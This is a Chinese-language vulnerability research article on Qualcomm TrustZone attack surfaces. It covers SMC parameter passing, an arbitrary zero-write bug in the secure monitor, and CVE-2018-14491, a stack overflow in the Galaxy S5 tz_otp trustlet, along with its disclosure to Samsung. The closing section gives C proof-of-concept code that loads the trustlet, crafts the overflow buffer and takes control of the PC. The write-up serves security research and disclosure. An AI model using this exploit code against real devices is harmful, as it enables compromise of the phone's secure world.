标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-1879] 作者: 闲云野鸡 发表于: [2018-09-09]
本文共 [366] 位读者顶过
在上一篇文章中,我们简单介绍了TrustZone,这是第二篇文章,我们将从更具技术含量的层面上来剖析TrustZone暴露给攻击者的攻击面,还有在TrustZone不同的权限下获取代码执行将会带来什么后果。 [出自:jiwo.org] TrustZone攻击面 确定目标的攻击面永远都是漏洞研究过程的第一步,TrustZone的攻击区域通常包括三点: 1. 直接发送到监视器的消息处理器 2. 在TrustZone中运行的第三方应用程序(trustlet)。 3. 安全引导组件,它允许在加载TrustZone之前执行代码,从而能够破坏TrustZone本身。 本篇文章主要讲解上面提到的前两点中的漏洞,以及它们的影响和如何进行处理。 跟踪用户输入 为了进行漏洞探索,必须确定暴露给攻击者的攻击面,比如哪些参数可以影响应用程序。为了做到这一点,我们需要跟踪从普通环境(normal world)传递到安全环境(secure world)的参数,来确定secure world中的函数是如何调用的。 分析开源通信驱动程序 要搞清楚参数是如何从normal world中传递到secure world中的,比如在SMC(secure monitor call)中传递参数,那就要好好看看normal world开源驱动程序。正如驱动程序源代码中所描述,执行SMC指令(名为smc)的函数由称为scm_call的函数调用(其中scm代表安全通道管理器)。当信息需要从normal world传递到secure world中时调用函数,通过完成下面的结构来执行此操作:
由于scm_response结构,我们收到了TrustZone内核的响应:
下面的列表显示了实际执行SMC操作码的最后一个函数:
在这个列表中,r1指向内核堆栈地址,r2指向分配的scm_command结构的物理地址。r0设置为1,表示该scm是正常的。不过,对于需要较少数据的命令,或者当不需要结构时,存在另一种形式的scm_call函数。 另一种形式的SCM叫做scm_call_[1-4],其中数字是传递给监视器的参数编号。这些函数用于发出具有给定参数,服务和命令ID的SMC指令。我们使用macro SCM_ATOMIC函数将服务ID,命令ID和参数放在r0中。由于r0的值不再是1,它会向TrustZone内核指示下面的SCM指令是一个原子调用,其参数编号在r0中编码,而参数本身就放在r2到r5中。
攻击者的第一个攻击面:安全监视器(基于Qualcomm的设备) 现在我们已经确定了normal world与secure world如何通信(这多亏了有监视器,充当了不同环境之间的桥梁),我们可以搜索函数和它们的服务ID和命令ID之间的连接。 为了获得normal world所请求的函数,填充有结构的数组静态的存储在monitor中,此静态数组给攻击者提供了一个攻击面,结构的格式如下: 1.服务ID和命令ID的连接 2.指向SCM函数名的指针 3.一个未知整数 4.指向处理功能的指针 5.参数编号 6.数组由每个参数大小填充,参数类型为整型 Qualcomm的可信执行环境(TEE)实现中的漏洞 这个漏洞和监视器消息处理程序的逆向是Gal Beniamini发现完成的,文章在这里。这个漏洞在Samsung S5上成功复现,它可以在处理器的最高权限模式下执行任意代码,这个最高权限模式也就是监控模式(EL3)。 通过查看SCM中的所有函数并逐一进行审计分析,又在tzbsp_es_is_activated函数中发现了一个新漏洞,这个漏洞允许向攻击者提供的任意地址中写入一个DWORD,值为0,包括TrustZone监视器和内核:
对于这个漏洞的利用,本文不过多讲解,如果你有兴趣的话,可以参考Gal Beniamini的这篇博客,有详细的分析。 安装以下补丁可以修复此漏洞:
漏洞影响 这个漏洞允许攻击者在监视器运行时执行任意代码,也就是EL3模式。这可以用于在normal world和secure world中植入后门,也可以被用作一个利用工具或者在secure world中插入一个debugger,以便在TrustZone OS中发现新的漏洞。 第三方应用程序的漏洞(CVE-2018-14491) 基于Qualcomm设备上的应用程序trustlets可以在/ system / vendor / firmware或/ firmware / image中搜索到,并且拆分成了不同的文件,即trustlet_name.b00,trustlet_name.b01…和trustlet_name.mdt。这个在上一篇文章中说过了,Qualcomm的TrustZone实现使操作系统能够在TrustZone中加载二进制文件,以扩展安全执行环境提供的功能。这些二进制文件称为trustlet。Gal Beniamini对文件系统中的trustlet的格式进行了彻底的逆向分析,并写了一个脚本来重新创建一个可以加载到IDA中的有效的ELF文件。 不过,对trustlets文件格式进行逆向分析完成之后,还有两个问题: 1.normal world如何向secure world发起请求来加载trustlet? 2.Normal world在运行时如何与它通信? 这些任务由qseecom驱动程序执行,这个驱动程序提供一个API来执行高级任务,依赖于安全通道管理器(特别是scm_call函数)提供的原语。 加载trustlets所需的所有函数都可以通过这个内核模块获得,该内核模块又使用适当的请求命令ID将正确的结构填充到Secure World中请求的功能。然后,Normal world就可以使用qseecom_load_app函数来加载trustlet,并使用__qseecom_send_cmd函数向其发送数据。 一旦加载到secure world,内核就会为该trustlet分配一个ID并调用其入口函数。此入口函数将trustlet注册到TrustZone内核,并提供一个处理程序,该程序会在Normal World调用trustlet的功能时触发,如图:
接下来,本文将重点关注tz_opt V1的trustlet,Samsung Galaxy S5中就是这个版本,我们来分析一下。 接收消息的处理函数提供不同的函数,并且必须始终以命令otp_init开头,以初始化trustlet的内部状态,而不是陷入琐碎的错误案例处理。查看不同的函数,我们注意到它们都受堆栈cookie的保护,除了一个名为otp_resync_account的函数。查看这个函数中第一行的汇编语言,我们注意到一个BLE指令,它是一个有符号的比较(这对应着hexrays视图中的比较 >384)。这就是一个突破口,因为我们输入缓冲不能包含空字节,因此这意味着对于无符号数字,这种比较的输出总是正值。不过,由于这个有符号的比较,我们可以在缓冲区中传递一个负值,比如0xFFFFFFFF,然后接着调用sub_68F8函数的分支(变量v3 在函数开头被初始化为0)。
这个函数有一个memcpy漏洞,其length和src参数直接由来自Normal World提供的缓冲区的攻击者控制,我们不需要任何内存泄漏,因为这个函数也没有堆栈cookie! 另一个突破就是这个memcpy()函数,尤其是因为复制的数据及其长度由用户控制。是的,这意味着在没有cookie的函数中存在栈溢出漏洞。
漏洞影响 该漏洞使攻击者能够在EL0 secure world环境中执行任意代码。这是相当危险的,因为它给TrustZone内核提供了执行系统调用的能力,这样一来可以扩大攻击面并在TrustZone内核中提权。此外,它还提供了对TrustZone操作系统功能的访问,例如打开和读取系统调用来访问安全文件系统(SFS)。Secure-filesystem是一个可用于永久存储的加密文件系统。它使用仅来自secure world的特殊硬件密钥加密,然后确认来自可能已遭破坏的normal world中数据的机密性。 报告漏洞 这个漏洞已于2018年7月3日报告给三星移动安全公司。三星证实,某些地区或运行商使用的基于高通的三星Galaxy S5确实存在该漏洞。这个易受攻击的组件已经过时,而且在以后的手机产品中会被禁用或删除,也有一些地区或运营商已经采取了措施来降低这个漏洞的影响。三星也表示,他们计划对受影响的手机型号进行修复漏洞。 漏洞利用 为了利用此漏洞,我们需要与内核进行交互并且要求它将trustlet加载到TrustZone中。为了方便,我们可以对调整一下Gal Beniamini对Widevine的研究工作来加载和利用tz_otp trustlet。这里可重用的部分是应用程序句柄的初始化,它包括打开libQSEEComAPI.so共享库,公开与内核通信所需的功能并且与TrustZone交互,例如QSEECom_start_app,QSEECom_stop_app和QSEECom_send_cmd函数等。 libQSEEComAPI.so库允许我们使用以下代码将tz_otp加载 到trustzone: int main() { //Getting the global handle used to interact with QSEECom struct qcom_wv_handle* handle = initialize_tzotp_handle(); if (handle == NULL) { perror("[-] Failed to initialize tz_otp handle"); return -errno; } //Loading the tz_otp application int res = (*handle->QSEECom_start_app)((struct QSEECom_handle **)&handle->qseecom, TZOTP_PATH, TZOTP_APP_NAME, TZOTP_BUFFER_SIZE); if (res < 0) { perror("[-] Failed to load tz_otp"); return -errno; } printf("[+] tz_otp load res: %d\n", res); 下面的代码允许我们初始化tz_otp状态并触发漏洞: int otp_init(struct qcom_tzotp_handle* handle) { uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000); uint32_t cmd_resp_size = QSEECOM_ALIGN(8); uint32_t* cmd_req = malloc(cmd_req_size); uint32_t* cmd_resp = malloc(cmd_resp_size); memset(cmd_req, 0, cmd_req_size); memset(cmd_resp, 'B', cmd_resp_size); // OTP_INIT cmd_req[0] = OTP_INIT; cmd_req[1] = 0; cmd_req[2] = 0; cmd_req[3] = 0; cmd_req[4] = 0; cmd_req[5] = 0; int res = (*handle->QSEECom_set_bandwidth)(handle->qseecom, true); res = (*handle->QSEECom_send_cmd)(handle->qseecom, cmd_req, cmd_req_size, cmd_resp, cmd_resp_size); return 0; } int craft_buffer(uint32_t *cmd_req, int *index) { uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000); memset(cmd_req, 0, cmd_req_size); // OTP_RESYNC_TOKEN cmd_req[0] = OTP_RESYNC_TOKEN; int i; for (i = 1; i <= 0x551; i++){ cmd_req[i] = 0x41414141; } cmd_req[i++] = JUNK; cmd_req[i++] = JUNK; cmd_req[i++] = JUNK; *index = i; // int overflow on the > 384 cmd_req[286] = 0xFFFFFFFF; return 0; } int crash(struct qcom_tzotp_handle* handle) { uint32_t cmd_req_size = QSEECOM_ALIGN(0x4000); uint32_t cmd_resp_size = QSEECOM_ALIGN(8); uint32_t* cmd_resp = malloc(cmd_resp_size); uint32_t* cmd_req = malloc(cmd_req_size); int i; otp_init(handle); memset(cmd_resp, 'B', cmd_resp_size); craft_buffer(cmd_req, &i); cmd_req[i++] = JUNK+1; // PC int res = (*handle->QSEECom_send_cmd)(handle->qseecom, cmd_req, cmd_req_size, cmd_resp, cmd_resp_size); return 0; } trustlet崩溃的结果可以在/ sys / kernel / debug / tzdbg日志文件中找到。可以观察到,如果连续两次崩溃,PC寄存器的值是一样的。这个信息让我们可以获取trustlet内存映射的泄露信息,并且使我们能够执行rop-chain来进行攻击利用。现在,也可以利用TrustZone内核中暴露的任何系统调用。 重点关注 这里有两件事情让人惊讶。 第一件事是堆栈cookie的应用似乎并不是很完善。目前还不是很清楚为什么堆栈cookie不适用于每个函数,我们的一个假设是开发人员必须对一个函数进行注释来告诉编译器,这个函数是受到堆栈cookie保护的。 第二件事是,尽管存在一种形式的ASLR(随机地址空间分配,作用是防止攻击者直接定位攻击代码位置),但似乎在手机的某个正常运行时间之后,每个trustlet都被有计划有顺序的加载到同一地址,这大大降低了ASLR的初始作用。 总结 在本文中,我们讨论了在normal world中为用户提供的两个攻击面,并详细分析了这两个漏洞:监视器中的一个漏洞,这个漏洞的利用允许攻击者在CPU的最高权限异常级别中执行任意代码;另一个漏洞在trustlet中,这个漏洞可以在secure world用户模式(EL0)中执行任意代码。 最后一个漏洞可以用来审计在TrustZone中运行的安全操作系统的安全性,并且为攻击者开启了一个新的攻击面。 |